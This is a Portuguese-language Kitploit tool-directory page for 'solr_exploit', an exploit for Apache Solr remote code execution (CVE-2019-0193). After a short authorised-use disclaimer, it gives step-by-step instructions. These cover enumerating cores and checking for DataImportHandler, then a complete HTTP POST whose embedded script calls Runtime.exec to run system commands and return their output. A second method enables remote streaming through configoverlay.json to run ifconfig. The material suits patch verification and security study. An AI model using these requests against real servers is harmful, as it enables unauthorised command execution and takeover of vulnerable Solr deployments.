Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
solr_exploit — Exploit da Vulnerabilidade de Execução Remota de Código do Apache Solr (CVE-2019-0193) | Kitploit
Ferramentas/GitHubGitHub/1135/solr_exploit
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebComando e ControleFerramenta de Acesso Remoto
GitHub1135/solr_exploit

solr_exploit

Exploit da Vulnerabilidade de Execução Remota de Código do Apache Solr (CVE-2019-0193)

Ver Repositório
65148há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Declaração

Os métodos de deteção de vulnerabilidades, arquivos e outros conteúdos fornecidos aqui são estritamente para uso por profissionais de segurança que obtiveram autorização legal, com o objetivo de testar a segurança de servidores autorizados. Os profissionais de segurança devem cumprir as leis e regulamentos, sendo proibido realizar qualquer deteção de vulnerabilidades sem autorização.

Introdução

Análise de Vulnerabilidade - Apache Solr Remote Code Execution (CVE-2019-0193) - Xianzhi Community

Em teoria, é possível usar vários tipos diferentes de fontes de dados para construir um Exploit.

O Exploit1 usa o tipo de fonte de dados URLDataSource

O Exploit2 usa o tipo de fonte de dados ContentStreamDataSource

Deteção de Vulnerabilidade - Exploit1

O Exploit1 usa o tipo de fonte de dados URLDataSource

Vantagens: Exibição de resultados, suporte para deteção em versões mais antigas do Solr

Desvantagens: Requer conectividade de rede externa

Passo 1

Construir uma fonte de dados do tipo URLDataSource (o servidor Solr irá aceder a essa fonte de dados!). Pode usar diretamente este URL:

https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml

O documento demo.xml é uma fonte de dados do tipo URLDataSource, um documento XML normal e inofensivo.

O documento contém apenas um elemento item para que o comando seja executado apenas uma vez.

Também pode hospedar o documento demo.xml num servidor web próprio com o comando live-server --port=5555, obtendo o endereço http://127.0.0.1:5555/demo.xml

Passo 2

Obter os nomes de todos os cores (index cores) no Solr

http://{xx.com:80}/solr/admin/cores

Resposta HTTP em JSON, contém os nomes de todos os cores

"name":"xxxx"

Passo 3

Determinar se o core utiliza o módulo DataImportHandler

Método 1

Aceder
http://{xx.com:80}/solr/{core_name}/admin/mbeans?cat=QUERY&wt=json

Se o módulo DataImportHandler estiver a ser utilizado, a resposta HTTP conterá:
org.apache.solr.handler.dataimport.DataImportHandler

Caso contrário, significa que o módulo DataImportHandler não está a ser utilizado (não afetado por esta vulnerabilidade)

Método 2

Aceder
http://{xx.com:80}/solr/#/{core_name}/dataimport

Se este servidor Solr não estiver a usar o módulo dataimport-handler (não afetado por esta vulnerabilidade), a resposta HTTP conterá o aviso:
sorry, no dataimport-handler defined!

Caso contrário, significa que o módulo DataImportHandler está a ser utilizado (afetado por esta vulnerabilidade)

Passo 4 Construir o Pedido HTTP

Executar o comando, a resposta HTTP contém o resultado do comando, suporta múltiplas linhas (cada linha termina com \n\r)

Nota: Substituir a string "tika" no URL do pedido pelo nome do core

POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 1231
Connection: close

command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>


  <dataSource type="URLDataSource"/>
  <script><![CDATA[

          function poc(row){

 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));

return row;

}


  ]]></script>

        <document>
             <entity name="entity1"
                     url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
                     processor="XPathEntityProcessor"
                     forEach="/RDF/item"
                     transformer="script:poc">
                        <field column="title" xpath="/RDF/item/title" />
             </entity>
        </document>
</dataConfig>

Deteção de Vulnerabilidade - Exploit2

O Exploit2 usa o tipo de fonte de dados ContentStreamDataSource

Vantagens: Exibição de resultados, sem necessidade de conectividade de rede externa

Desvantagens: Não deteta versões mais antigas - porque a modificação da configuração no ficheiro configoverlay.json através de um pedido POST irá falhar

Passos 1-3

Passo 1 omitido

Passos 2-3 iguais ao Exploit1

Passo 4

Este passo é para modificar a configuração no ficheiro configoverlay.json para ativar as opções relacionadas com streaming remoto: .enableStreamBody e .enableRemoteStreaming

Substituir tika pelo nome do core

POST /solr/tika/config HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-type:application/json
Content-Length: 159
Connection: close

{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}

Resposta 200 significa sucesso (testado com versão 8.1, funcionou)

Resposta 500 significa falha (testado com algumas versões mais antigas, falhou)

Passo 5

Enviar o pedido, executar o comando de sistema ifconfig e obter o resultado (sem conexão externa, sem saída de rede)

Baixar ferramenta